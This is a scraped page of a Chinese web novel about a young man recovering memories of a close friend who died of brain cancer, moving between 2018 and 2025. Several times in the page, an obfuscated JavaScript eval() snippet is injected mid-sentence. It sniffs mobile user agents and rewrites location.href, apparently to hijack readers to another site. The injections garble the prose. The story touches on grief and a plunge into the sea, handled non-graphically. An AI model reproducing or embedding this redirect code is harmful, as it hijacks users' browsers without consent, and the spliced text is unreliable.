见他喜欢，程宥年才轻轻弯起了眼睛： “小时候我妈妈教我的，说千纸鹤会帮你把坏情绪捆在翅膀上，带它飞到离你很远的地方。” 顿了顿，程宥年又道： “我教你，怎么样？” 南存看了看手里的纸鹤，又看看程宥年。 他点了点头。 “哎，但我可不能白教。” 目的达成，程宥年笑意便深了些： “我们之前可是说好的，你得把你的画给我看看。” 蒋小芸总说程宥年像只大金毛。 但南存看来，他有些时候更像狡黠的狐狸。 反正只是随手的涂鸦而已，给程宥年看一眼也没什么关系。 短暂的纠结之后，南存翻开刚才的作业本，找到随手画过的那一页，把它推给程宥年。 程宥年的目光落在纸页上，似乎是愣了一下。 不过很快，便重新笑了起来。 “阿存。” 他说： “你画得可真好。” “轰隆——” 窗外传来闷闷的雷声。 两个少年低着头，一人拿一张小纸片，一步一步地教着、学着。 程宥年笑南存那么会做题那么聪明，却在折纸这件小事上栽了跟头，一个步骤要他演示好几遍才能弄明白。 却也不会不耐烦，就算已经叠过好多次了，只要南存一句话，就会立马拆掉从头再来。 “今天的雷声很重诶。” 程宥年看看窗外的天空，把折好的纸鹤放在桌上。 “嗯。” 南存垂下眼，整了整手中纸鹤歪歪扭扭的翅膀，把它和程宥年那只放在了一起： “大雨要来了。” 15. 2025-大雨 2025年，6月18日，5:19pm，北川，大雨。 这场雨下得又大又急。 积水很快在路面上积了小小一个水洼。 水面映着天空的颜色，很快又被过路的行人踩碎。 蒋小芸手里拎着小吃，举着伞急匆匆地往家的方向走。 记忆中，北川的夏天很少有这样大这样猛的雨。 还好出门时带了伞，否则现在就该被浇透了。 蒋小芸加快脚步。 偶然，路过家附近的一个小公园。 这个小公园建了很久很久了，从蒋小芸刚出生的时候它就在这里。 她从小在这里玩到大，后来长大了，不常来了，但每次路过，都会看见新的一批小朋友在这里度过他们的童年。 今天下大雨，往日永远热闹的小公园也冷清了，只有几个老旧的活动器械摆在那里。 还有…… 蒋小芸脚步一顿。 “……阿存？” 她看见公园的滑梯下面坐着一个单薄清瘦的年轻男人。 过长的头发和浑身衣服被雨水浇得透湿，原本就不深的肤色更显苍白。 他躲在滑梯下，像一只无人认领的流浪犬。 “阿存！” 蒋小芸心里一沉。 她大步跑过去，在滑梯旁蹲下身： “阿存？你怎么在这？怎么淋成这样了？快，快和我回去……” 雨珠砸在头顶的滑梯上，噼里啪啦。 南存垂着眼，看着手心里被他握得皱巴巴的一只纸鹤。 听见蒋小芸的呼唤，他许久才回过神，抬眸看向她。 人却还有点恍惚，又许久，才开口： “……我不知道。” 不知道什么时候下起了雨。 不知道为什么这么冷。 不知道为什么走到了这里。 “小芸。” 他轻声唤了蒋小芸的名字。 蒋小芸小心翼翼看着他： “嗯？” 南存闭了闭眼睛，深吸口气，才道： “程宥年……到底是谁？” 他低下头，抬手缓缓抓住自己湿透的发丝： “我认识他对不对？我以前和他很好对不对？为什么，所有人都记得他，哪里都有他的影子，只有我……只有我什么都想不起来。” 好冷啊。 好痛啊。 其实不知道哪里在痛，但南存就是觉得，自己的身体和灵魂好像要被人拆开来，四分五裂。 少年的声音、味道，甚至眼睛里盛放的光点都那样清晰。 他们好像很熟悉。 却又那样陌生。 “告诉我好不好，你告诉我……程宥年是谁？让我见他，让我见他……” 和疼痛一起到来的，是没有来由的、浓郁到要将人吞没的窒息感。 像一只无形大手捏紧心脏，又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099220|163763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓缓放开。 每一寸血液都流淌着酸涩的味道。 它们不断在南存的体内呼唤着、提醒着—— 程宥年…… 程宥年。 “阿存……” 蒋小芸的声音不知道什么时候染上了哭腔。 她握紧南存的手腕： “……你冷静一点。” “我……疼。” 南存从喉咙里挤出一个字都变得那样艰难。 他攥紧手指，掌心的千纸鹤被挤压变形，指甲抵住手掌柔软的皮肤，刺得生疼。 “我不该让你回来的，阿存。” 伞和塑料袋都脱了手，蒋小芸伸手抱住南存： “对不起……” 已经被风雨吹透了的人，无论碰到什么都是暖的。 南存好像失去了所有力气，就那样任蒋小芸抱着。 “我也想他，阿存。” 蒋小芸在他肩头小声抽泣着： “我也想他……” 原本拎在蒋小芸手里的塑料袋掉在了地上，里面的纸袋也散了开来。 刚出炉不久的烤玉米滚在了地上，甜甜的香味和大雨携着的泥土清香混在一起。 有那么一瞬间，南存好像突然明白了那些疼痛和窒息感的名字。 原来，它们叫做“想念”。 原来是这样啊。 程宥年。 多年不见。 我想你了。 16. 2018-大雨 2018年，6月3日，5:19pm，北川，大雨。 这场雨下得又大又急。 积水很快在路面上积了小小一个水洼。 水面映着天空的颜色，很快又被过路的行人踩碎。 记忆中，北川的夏天很少有这样大这样猛的雨。 南存坐在滑梯下面，仰头看着斑驳的滑梯底面发呆。 雨珠砸在头顶的滑梯上，噼里啪啦。 怀里的笔记本边角有些湿了。 不过，好在南存来时把它保护得比较好，现在虽然自己人湿透了，但笔记本里面的字迹依旧完好。 “阿存！” 有人在雨声里喊他的名字。 少年匆匆跑进小公园，收了伞，也钻到了滑梯下面。 滑梯不大，下面的空间也小。 两个少年挤一挤，倒是刚刚好。 “对不起啊我来晚了，店里临时有点事，没能走开。” 说完，程宥年才看清南存的模样。 湿乎乎的，像只被水打湿的流浪猫。 “你怎么淋雨了，没带伞吗？” “嗯。”南存抓了抓湿透的头发： “出来的时候还是阴天，走到一半突然开始下雨。” “出门前要记得看天气预报啊。” 说着，程宥年从怀里取出了个什么东西。 而后，他脱下了自己身上的校服外套，盖在南存头上，给他擦擦头发： “过两天就高考了，不能生病。赶紧擦擦。” 突然被属于程宥年的香味扑了满怀，南存一怔。 原本想说的话也好像也被大雨打碎了。 他垂下眼，把怀里几个笔记本递向程宥年： “你也知道要高考了。给你，我押的题。” “哇，谢谢阿存。” 程宥年冲他笑笑： “放心吧，我很努力在学了。考不上南江大学，我还考不上南城、南理吗？到时候咱仨一起去南江，继续一起玩。” 说着，程宥年拎起自己带来的塑料袋，从里面拿出一个纸袋来，递给南存。 南存闻到一股香香甜甜的味道。 拆开来看，是烤玉米。 “换了份兼职，门口没有米糕卖，但有烤玉米。甜的，闻着还挺香，你尝尝喜不喜欢。” 南存抬眸看看程宥年，又看看手里的烤玉米。 只有一个。 于是他拿纸袋垫着手，把玉米掰成了两半，把大的那份给了程宥年： “一起。” “哎，我不喜欢吃这个。” “来之前吃过饭了，吃不完一整根。” 听南存这样说，程宥年才接过那半根玉米。 因为程宥年一路把它护在怀里，所以玉米到现在还是温热的。 烤制的时候，摊主往上面刷了炼乳，尝起来果然是甜的。 小小一个滑梯，在漫天大雨中圈出了小小一方天地，护住了两个少年。 南存听着雨声，披着带了一丝暖意的校服外套，漫不经心地咬着手里的甜玉米。 “程宥年。” “嗯？” 南存微微垂下眼睛，问： “你为什么一直做兼职？过两天就要高考了，也不方便暂时歇一歇、好好备考吗？” 从南存认识程宥年开始，他就一直在做兼职。 川菜馆、奶茶店、发传单……各种零零散散的工作。 虽说他总是把“玩”挂在嘴边，但其实真正敞开去玩的时间也没多少。 闲下来的时候，他大半时间在跑兼职，小半时间和南存蒋小芸在自习室。 余下的一点点空隙，他才会去打打篮球，或者玩游戏。 就像今天，学校都已经放假让学生回家备考了，可程宥年还是闲不下来。 原本和南存约好今天在公园拿复习资料，可临时有事，便又多往兼职的地方跑了一趟。 “我没和你说过吗？” 程宥年的语气听起来很轻松： “算是家里情况比较特殊吧。前些年……家里人生过一场大病，治疗的费用很高，为了治病欠了不少钱，得还好久好久。所以有空就做做兼职，帮我爸减轻点负担。” 南存不太了解程宥年家里的情况，毕竟他原本也不是个爱多问的人。 他只从程宥年和蒋小芸的闲聊里了解到，程宥年是单亲家庭，母亲很早就去世了，只跟父亲相依为命。 还知道程宥年的父亲开了个小小的中医诊所，收入还行，至少不用像自己这样，每年的学费都得靠学校的特困补贴。 却不知道他家还有这样的事。 沉默许久，南存 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099221|163763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又问： “你……考上大学想报什么专业？” “不知道啊，看我能考上哪个吧。” 想了想，程宥年又道： “可以的话想学药或者医，这叫什么，子承父业。就是不知道能不能考上。” “……”南存默默点点头。 又听程宥年问： “你呢，你想考什么？” “我也不知道。” “那到时候咱俩一起选。不过我觉得，其实你应该学画画诶，你画得那么好，是我见过最会画画的人，要是不继续画，感觉有点可惜。” 这话说完，程宥年又改了口： “不，也不可惜，你选哪条路，哪条路就是最好的。” 雨声里，南存轻轻抿起了唇角。 像是一个浅浅淡淡的笑。 那天的雨下了很大，下了很久，好像永远也不会停。 南存就那样和程宥年安安静静地躲在滑梯下坐了许久。 偶尔说句话聊两句天，但大多数时候都只是安安静静地听着雨声。 直到天快黑的时候，程宥年见这雨没有变小的趋势，便将自己带来的那把伞递到了南存手里： “给你，天要黑了，你快回家吧。” “那你……” 南存一句话还没说完，程宥年就已经钻了出去。 生怕他拒绝。 “我没事儿，我家就在附近，我跑快点就行了。” “校服……” “你淋湿了，外套你穿回去吧，别着凉，回头有空还我就行！” 程宥年跑远了。 南存却还坐在原地。 手里的伞柄还留着另一个人的温度。 静默片刻，他抖开雨伞，正想从滑梯下出去。 却又听到一阵脚步声。 原本已经离开、说要快快跑回家的人又折了回来。 “忘了和你说了，还好你没走。” 南存诧异抬眼，就见少年撑着滑梯的边缘弯下腰，看着滑梯下的他，弯起眼睛，笑着和他说： “高考加油啊，阿存。” 雨天。 雨滴落下的声音化成耳边急促的节奏。 “好。” 南存和他对视一瞬，下意识转开了视线。 “……你也是。” 17. 2025-阴 2025年，6月18日，6:41pm，北川，阴。 这场雨来得快，去得也快。 只是厚重的阴云始终压在头顶，叫人喘不过气。 南存浑身上下都湿透了，今天温度不高，就这样回去肯定会着凉。 所以蒋小芸说什么也不放他走。 她家就在附近，她拉着南存，说什么也要他和自己回家一趟。 南存的情绪就像今天这场大雨。 来势汹汹，如巨浪翻腾。 离开时倒也算干脆，只是思绪始终恍惚。 程宥年去哪了。 南存找回的、为数不多的记忆碎片之中，处处都是那个少年的身影。 不是说好了要一起去南江吗。 不是说好了，要等自己长大，然后把欠他的那些钱全都打包还给他吗？ 南存的学生时代之所以还算完整，是因为身边的人总在为他缝补。 补课费用交不起，程宥年帮他凑。 在学校省吃俭用每顿只吃一碗米饭一份素菜，程宥年和蒋小芸担心他营养跟不上，就找各种各样的理由把自己的菜分给他。 特殊补贴因为一些原因迟迟办不下来，李铭华着急地跑前跑后，才终于顺利办妥。 外婆走后，南存就没有家人了。 但他的朋友、老师，对他来说都是和家人一样重要的存在。 南存曾经告诉过自己，人生这一路，要好好维护这些来之不易的情感。 但是，有人悄悄在半路走丢了。 走了很远很远。 而他却什么也不知道。 很久以后再回头，却连那人的一片衣角也看不见、抓不住了。 记忆会消散，可是情绪和本能不会。 从一开始提到“程宥年”这个名字就会漫上的、心里那丝没来由的忧伤。 到现在一片片捡起记忆，那人的影子愈发清晰，人却毫无踪迹。 南存再怎样迟钝，也能猜到那个世上最残忍的答案。 南存垂着眼，和蒋小芸同行一路，什么话也没说。 只默默自己消化着心脏处如钝刀割磨似的闷痛。 而蒋小芸在那场大雨里哭红了眼睛，也良久无言。 蒋小芸家住在公园旁边的老小区，楼梯间光线昏暗，不知是不是刚刚下过雨的原因，空气里充斥着潮湿的味道。 “我……不是故意瞒你的，阿存。” 拿钥匙开门时，蒋小芸似乎做了很久很久心理准备，才开口说了这样一句话： “我只是觉得……” 话说到一半，隔壁的门锁发出一声轻响。 南存微微一愣，抬眼望去，跟门后的男人对上了视线。 南存闻到了很熟悉的药味，清淡微苦，却少了一点薄荷的清凉和青柠的酸涩。 “程叔叔。” 蒋小芸看看南存，再看看程裕。 她知道，这一次，无论自己怎样费劲心思地遮盖掩埋，有些答案，也避不过去了。 原本要进的那扇门，最终也没有被打开。 南存被程裕和蒋小芸带进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099222|163763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了另一扇。 程裕家中很整洁，干净到几乎没什么生活痕迹。 墙上的置物架上摆着两个相框，里面的照片像是被阴云和大雨吸走了颜色，余下只剩黑与白。 南存直到这一刻，才真正看清程宥年的模样。 头发稍微有些乱翘，眼睛很亮，眼角微微下垂，很大很圆，唇角永远带着笑，浑身都是独属于少年的生命力，就算被关在相框里也一样。 至此，记忆中那些笑容、那些眼神，才终于有了具体的形状。 心脏的痛感愈发剧烈，也愈发明显。 南存深吸一口气，身体的力气好像在瞬间被抽干，他踉跄着扶住桌角，才不至于摔倒在地。 身边传来二人紧张的问询，声音却好似从天空另一侧传来，离他很远很远。 “你说，当小鸟是什么感觉？一拍翅膀就能飞到天上，想去哪就去哪，应该很自由吧。” 连续不断的耳鸣声中，南存只能抓到这一句话。 “不知道。毕竟我不是一只鸟。” “好吧，那就等我变成鸟，再飞回来告诉你吧。不过在那之前，我得像纸鹤一样，把你的烦恼都装走。” “为什么？” “因为你看起来总是不开心，那我把让你不开心的东西都带走丢掉，就好了。” 眼前的世界天旋地转，南存什么都感受不到。 程宥年偷偷变成飞鸟离开了。 可南存还是不开心。 怎么办啊，程宥年。 你撒谎，被我抓住了。 18. 2018-阴 2018年，6月25日，6:41pm，北川，阴。 小区门口有棵大榆树，风一过就摇摇晃晃。 南存远远就看见了站在大树下等待的程宥年。 程宥年穿着简单的短袖牛仔裤，看见他后扬起了一个笑容： “阿存！” 高考出分了，南存的分数在正常水平。 其实他的成绩冲冲清北复交也可以，但南存仔细考虑之后，还是想让自己的选择更宽松一些。 了解了他的意向和情况后，招生老师给他打过电话，告诉他，只要他报南江大学，专业随便选，入校可以申请学费住宿费全免，生活费也有补贴，助学金奖学金这些更是不用说。 南存选南江大学原本就是考虑过各种可能性后的决定，事情走到这一步，他也说不上有多惊喜。 让人意外的是程宥年，他的分数居然比最高一次模拟成绩还要多出几十分。 南存和蒋小芸帮他算了半天，还特意问了几个老师，得到的答案是，他的成绩低空飞过南江大学录取线完全没有问题。 今天南存来找程宥年就是为了这件事。 他们要好好考虑一下程宥年能报考的学校和专业。 南存和程宥年认识两年了，但这还是第一次到他家里来。 这个小区看起来有些年头了，每个细节都带着点陈旧的年代感。 楼梯间光线昏暗，空气里充斥着潮湿的霉味。 南存跟在程宥年身后上了三楼，看他拿出钥匙，拧开了门锁。 随着门被打开，南存闻到空气里掺了丝很熟悉的药味，清淡微苦。 像程宥年身上沾染过的味道。 程宥年家里不算很整洁，生活痕迹很重，角落里放着脏脏的篮球，茶几上还随意摆着零散的药盒和水杯。 他的房间不大，摆设也很简单，只有一张床、一张书桌，再就是衣柜和书柜。 为数不多的装饰，是墙上贴着的、这个年纪小男生都喜欢的篮球海报。 南存没有多看。 毕竟他没有忘记今天来这里的目的。 他从随身的包里拿出李铭华给他的书，里面写着各大高校的专业录取分数线。 “不看南城南理了，阿存，直接看南江大学！” 南存盘腿坐在床上，程宥年趴在他身边，兴冲冲说。 南存看了他一眼： “如果报南江大学，你很可能选不上医学，然后被调剂去其他的冷门专业。” “没关系啊，能上就行了。”程宥年一点也不在意。 “那你就承不了父业了。”南存搬出程宥年说过的话。 程宥年笑了：“那我就打拼属于自己的事业。” “可你不一定喜欢。” “没事，说不定学了就喜欢了。” “可是，学自己不感兴趣的专业很痛苦。” “没关系啊，我当然是能离你俩越近越好，能和你们在一起就行了。” “有关系。程宥年，你能不能为你的未来考虑？” 南存皱皱眉。 在这件事上，南存不打算轻易松口： “在学校学不喜欢的专业，毕了业也只能找一份不喜欢的工作，然后去面对你不喜欢的未来。这种人生大事，你给我好好考虑。” 听见这话，程宥年似乎愣了一下。 停顿片刻，他才重新笑出来： “怎么还生气了？别啊，我好好考虑过的。对我来说重要的是现在，未来的事情，未来再说就好了。” 南存没法理解他这种走一步看一步的乐天派。 他皱皱眉： “你爸呢？你把你的话告诉他，看他说不说你。” “你就放心吧——” 程宥年从床上爬起来： “他也一定会支持我的想法！好了，别劝我了，阿存，你不如帮我看看，如果选不上医学和药学，我会被调剂去哪个专业？” 程宥年倔，南存没法说服他，自己闷了一会儿，还是选择帮他先看看南江大学的专业。 了解到自己可能被调剂去的专业之后，程宥年还是觉得无所谓，没关系。 他这种态度让南存有些生气。 可程宥年一定要报南江大学，南存也没有办法。 反正志愿可以随时修改，等后面再认识到这件事的严重性也来得及。 两个人闷头研究许久，最终，在程宥年的坚持下，两个人打开网页，填好了他的学校和专业，又勾选一个“接受调剂”。 “好了，填完了。阿存你还没吃晚餐吧？想吃什么，我请你吃？” 看南存还是不太高兴，程宥年凑到他身边问。 南存一时半刻还不想理他，只说了句“随便”。 “那我们是出去吃呢，还是我给你做点，让你尝尝我的手艺？” 程宥年知道南存还在生气，语气里不免带了些哄着的意思。 果然，听见这话，南存有些意外，没忍住问： “你会做菜？” “当然了！”看鱼儿上了钩，程宥年弯起眼睛： “我做菜可香了。正好昨天买了点排骨，我给你做糖醋排骨怎么样？你最喜欢这个对吧？” 南存脸皮薄，自己生了气一时半会儿还下不来台。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099223|163763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 程宥年知道他，所以没等他答应，自己从床上翻了下去： “我现在就去做！你等无聊了就看看电视玩玩电脑，想吃什么自己拿，喝水自己倒啊！” 程宥年一溜烟跑走了，南存自己在房间坐了一会儿，站起身，晃到了房间外面去。 他仔细看了看程宥年的家。 都是很寻常的陈设，甚至有些老旧，但是很温馨，很有生活气息。 在房子里待久了，那股一直存在的清淡药味就不太能闻得到了。 但是程宥年身上的薄荷青柠的香味还是很明显，尤其他的房间，几乎每个角落都被这种独特的味道填满。 程宥年在厨房忙碌，南存原本想过去看看能不能帮倒忙，但过去之前，他注意到了墙壁上一个置物架。 架子上有一盘水果。 还有一个相框。 相框里是个眉目柔和的女人。 她长得很像程宥年。 南存和照片里的她对视片刻，又转头看向厨房里的程宥年。 他大概是想说点什么的，可最终也没能出口。 因为目光落到某处后，他微微睁大了眼睛。 刚才还说要给他做菜、风风火火跑走的少年好像被抽干了所有的生命力。 他低着头，勉强撑着案台，似乎用尽所有力气撑住身体才不至于摔倒在地。 “程宥年……” 强烈的不安感袭上心头，南存向他走去： “程宥年！！” 不锈钢盆被带到地上，碰撞的声音那样刺耳。 少年没来得及答他的话。 他像风里摇晃的芦苇，那样轻易地歪折了下去。 “你说，当小鸟是什么感觉？一拍翅膀就能飞到天上，想去哪就去哪，应该很自由吧。” “不知道。毕竟我不是一只鸟。” “好吧，那就等我变成鸟，再飞回来告诉你吧。不过在那之前，我得像纸鹤一样，把你的烦恼都装走。” “为什么？” “因为你看起来总是不开心，那我把让你不开心的东西都带走丢掉，就好了。” 可是。 可是有些人生来就是一种烦恼啊。 容易开心是一种天赋，容易不开心也是。 所以。 所以程宥年。 如果你要把让我不开心的东西带走的话…… 那你得把我整个人都带走了。 “啊，不行。你太重了。” 在医院浓郁的消毒水味道里，南存翻找出了少年带着笑意的声音： “带上你，我就飞不动了。” 19. 2025-晴 2025年，6月26日，8:02am，北川，晴。 南存病了。 在程裕家晕倒，被送到医院，在病床上昏迷整整一天一夜才醒。 醒来之后就是连续不断的高烧，在医院连检查带治疗住了好几日，折腾得人都瘦了一圈。 医生做了检查也没什么结果，他身体倒是一切都好，这一遭，大约也只是着凉后情绪起伏过大引起的。 医生嘱咐他要好好调整心情。 人还这么年轻，有什么事儿过不去？要是把身体拖垮了，可就不值了。 这段时间，蒋小芸经常来医院照顾南存。 虽说南存在北川生长，但熟悉的人一只手就数得过来，如果她不来，那南存真的就只有一个人了。 原本蒋小芸以为，南存醒后会再次提起与程宥年相关的那些事。 所以相关的话题被她在心里咀嚼调整过千万遍，最终才琢磨出一版最温和的言辞。 但让她意外的是，南存没有问过哪怕一个字，像是再次彻底忘记了程宥年这个人。 他只是日复一日地在冷白的病房里坐着，安静地看着天花板，或者窗外终于放晴的天空。 蒋小芸觉得，他好像有点过于平静了。 觉得异样，却又找不见证据。 毕竟南存大多数时候就是这样一个习惯沉默的人。 他不提，蒋小芸便也没有主动开口。 两个人默契地避开了这个人、这个话题、这段时光。 就假装什么也没有发生过。 有句话说得很好。 地球离了谁都照样转。 日子离了谁都照样过。 就算弄丢了程宥年，南存不还是好好过了这么多年。 就算多年以后再想起他，就算疼得心脏都要裂开，可花时间调养几日，一切就又恢复了原来的样子。 那场大雨过后，阴云散开。 属于北川的晴朗夏日终于降临。 出院后在家休养几日，南存见窗外阳光灿烂，便收拾了画具，开车去了海边。 北川市郊有一片小海岸，前两年没什么来，但现在互联网发展飞快，这片以前无人问津的海岸也变成了所谓的“网红打卡地”，放眼望去，到处都是人。 南存背着画具，好不容易找了个清静偏僻些的角落，爬上一块礁石坐下。 说是来画画的，可他没有握笔，连装画具的包都没打开。 就那样坐着。 望着海平线，闻着咸咸的海风，安安静静地坐着。 不知过去多久，他听见有人远远地喊： “哎！石头上那个朋友！你收拾收拾下来吧！马上要涨潮了！” 南存微微睁大眼睛。 “哎咱们也走吧，我昨天刷到这附近有家章鱼烧很好吃，我们快去尝尝，饿死我了……” 女生挽住男生的胳膊，用海水冲了脚，穿好鞋子准备离开。 但二人转过身走出几步，男生似有所感，回头望了一眼。 “卧槽！” 一声粗口。 女生诧异地看着他：“怎么了？” “刚石头上那男的呢？” 礁石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099224|163763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上静静地放着一个画具包，还有一个展开的小画凳。 刚才坐在上面的人却没了踪影。 …… 海水是咸涩的。 海浪拍打着身体，人好像落在水中的一片枯叶，不断地浮沉、摇晃。 “阿存……” 耳边的声音很多、很杂。 好像很清晰，又好像被海水分隔去千里之外。 南存甚至分不清到底哪些感受属于曾经，那些感受属于现在。 他任由自己在海水中沉溺，试图在相似的感受中抓住丢失过的东西。 恍惚中，他向某个方向伸出了手。 下一秒，有人紧紧握住他的手，将他从海水中拖起。 阳光有些刺眼。 海水的声音嘈杂。 “不是，哥们儿，你有什么想不开的要跳海啊！遇到天大的事儿也得咬牙扛过去了，好好活着，听到没！” 好好活着…… 好好活着。 “阿存，好好活着……” 万般情绪涌上心头。 眼眶瞬间变得酸楚，泪水和海水混在一起，没人能发现。 在寂静的海水之下，南存终于找回了自己丢掉的东西。 像是最后一块拼图被捡回来放至原位。 一切都变得完整而清晰。 ……程宥年。 不管你相不相信。 从石头上跳下去的那一刻，我没想寻死。 我只是想找到你。 现在，我找到了。 那么，这场捉迷藏，算我赢。 20. 2018-晴 2018年，6月26日，8:02am，北川，晴。 南存的身体一直很好，没怎么进过医院。 上一次闻到这样浓郁的来苏水味道，是在四年前。 那一次，外婆被一块薄薄的白布盖了起来，从此消失在了他的生命里。 所以南存讨厌医院，也讨厌医院的气味。 他想，如果人能不生病就好了。 如果所有重要的人都能长命百岁，就好了。 程裕前一天还在外省。 程宥年高考分数不错，所以他回了趟老家，摆了顿酒席庆祝，算是感谢亲人们多年来的照顾和帮衬。 接到消息后，他第一时间就赶了回来。 坐在医生办公室的时候，那个男人好像一瞬间苍老了几十岁。 “胶质瘤复发……” “情况不是很乐观……” “现在不建议手术了，可以试试保守治疗观察一段时间，之后再看……” 胶质瘤，俗称脑癌。 南存坐在医生办公室门口，已经把相关词条刷了个干净。 所以说，命运就是这样不公平。 热爱生活的人总是被生死凉薄对待。 麻木不仁的人刚抓住一点点鲜活的念想，就要被人用力掰开手指，抢走手心里那唯一一点珍视的东西。 以前是，现在也是。 “哎呀，阿存，你开心点嘛，怎么就又不高兴了。” 程宥年穿着病号服，鼻子上戴着输氧管，各种检查让他的脸色变得苍白不少，但他竟也还笑得出来。 见南存一直低着头板着脸，哄也哄不好，程宥年从旁边的抽屉里拿出了一只玻璃罐。 “送你，毕业礼物。” 闻言，南存稍稍抬起眼。 程宥年递来的是只透明玻璃罐，里面装着满满一罐彩色纸鹤。 “笑一笑，别不开心。” 南存抬手接过。 玻璃罐上还带着程宥年的温度。 “笑不出来。” “那可不行，你还得陪我出院呢。出院这么好的事情，你要还板着脸，那我可不乐意。” 南存没听懂程宥年的话。 他诧异地抬起头。 程宥年在医院里才住了三四天，怎么…… “我不打算治了，阿存。” “不行。”南存其实是没有资格和立场说这句话的。 但无论多不合适，他也还是要说： “要治。” “治不好了，也没钱治了。就算费劲把我的脑袋打开再治好我一次，以后也还是很容易复发，情况只会一次比一次更坏。” 程宥年笑意微敛，语气比以往都要认真。 他没有一个字是在开玩笑，也不是在和南存商量。 “上一次治疗已经欠下好多债了，这样把命拖着，也没什么意义。等彻底治不好的那天，我死了，钱就得我爸一个人去还。他年纪也不小了，我不能继续拖累他。” “其实早晚都会有这么一天的，就是有一点点遗憾，没机会上大学了。” “化疗很难受的，还会掉头发，反正时间不长了，我比较臭美，我想走得体面一点。” “其实我本来还想把有用的器官捐一捐来着，但医生说我这种病不建议捐赠，那就没办法了，只好乖乖去睡我的坟包包。” “离别是很正常的事啊，阿存。没有人会永远陪着某个人，大家都得学会分别。我的旅程要结束了，但你还有自己的路要走，以后，你会遇上其他同行人的。” “习惯告别其实不算难，阿存，我们还有时间。” “我一时半会儿也还死不了，这个暑假，你陪我过，怎么样？我们到处转一转玩一玩看一看，电影要结束了，我的好朋友，你总得给我留恋美好些的回忆吧？” “别哭丧着脸了，笑一笑，阿存。” “别哭，阿存。” “我们慢慢来。” 离别是一件很寻常的事。 人生在世，每一秒都在离别。 和风离别，和流逝的时间离别，和擦肩而过、说不定此生不会再见的陌生人离别。 而人要做的，就是花费漫长的时间，一点点学会接受。 学会体面地、从容地、向每个离开的人告别。 程裕帮程宥年办了出院。 南存答应他，要陪他好好过完这个暑假。 两个人身上没什么钱，去不了太远的地方，所以，这和以往每个普通的假期并没有什么区别。 待在小公园里买五毛钱两根的棒冰一人一根吃到下午。 在夕阳西下时沿着街道漫无目的地散步。 坐很久公交车，晃悠悠到市中心的广场，像小孩一样在喷泉里跑来跑去，玩得满身湿漉漉。 他们去的最远的地方是海边。 那片海在市郊，去的人不多，但风景不错。 那天天气很好，天空湛蓝，抬头找不到一片云。 南存坐在沙滩上，感受着迎面而来的海风，微微眯起了眼睛。 程宥年在沙滩上堆城堡，工具是问小朋友借来的塑料铲子，一个人玩得很开心。 堆好了，再兴冲冲地跟南存介绍哪里是哪里。 程宥年的城堡有很多房间，每一个都有自己的用处。 父母住的、自己住的、放游戏的、放篮球的。 还有留给南存的。 “我也有房间啊？” 南存抬眸看向程宥年。 “当然了。”程宥年扬唇笑了，对上南存视线的时候，却不知怎的，微微一怔。 不过很快便回神，将视线移去了另一个方向。 南存顺着他目光看过去，在不远处的礁石上看见了一个套着游泳圈的小男孩。 “小朋友！不要在那玩，很危险！马上要涨潮了，快下来！” 提醒完，程宥年把手里的塑料铲还给了旁边的小孩，自己拍拍裤子站起身来： “走吧，听说附近有个小吃街，到饭点了，咱们去看看？今天所有花销都有程老板买单，你敞开了点。” “这么阔气？” 南存轻 